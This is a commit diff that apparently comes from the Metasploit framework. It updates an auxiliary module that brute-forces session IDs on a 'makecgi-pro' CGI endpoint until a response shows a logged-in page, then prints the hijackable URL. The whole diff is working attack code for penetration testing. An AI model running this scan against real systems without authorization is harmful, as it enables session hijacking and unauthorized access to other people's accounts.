Multiple fixes and improvements:
* Make session ID configurable based on feature #6894's suggestion. * Fix a potential bug when res is nil. * Use print_error() to make the error message more readable.unstable
parent
5004515187
commit
c606896122
|
@ -37,27 +37,28 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(80),
|
Opt::RPORT(80),
|
||||||
|
OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
100.times do |x|
|
datastore['SID_MAX'].times do |x|
|
||||||
begin
|
begin
|
||||||
print_status("Searching for a valid session ID.")
|
print_status("Trying session ID #{x.to_s}")
|
||||||
|
|
||||||
res = send_request_raw({
|
res = send_request_raw({
|
||||||
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
|
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
|
||||||
'method' => 'GET',
|
'method' => 'GET'
|
||||||
}, 25)
|
}, 25)
|
||||||
|
|
||||||
if (res.to_s =~ /Log out/)
|
if (res and res.to_s =~ /Log out/)
|
||||||
print_status("Found valid session ID number #{x}!")
|
print_status("Found valid session ID number #{x.to_s}!")
|
||||||
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}")
|
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x.to_s}")
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
print_status("Unable to connect to #{rhost}:#{rport}.")
|
print_error("Unable to connect to #{rhost}:#{rport}")
|
||||||
break
|
break
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue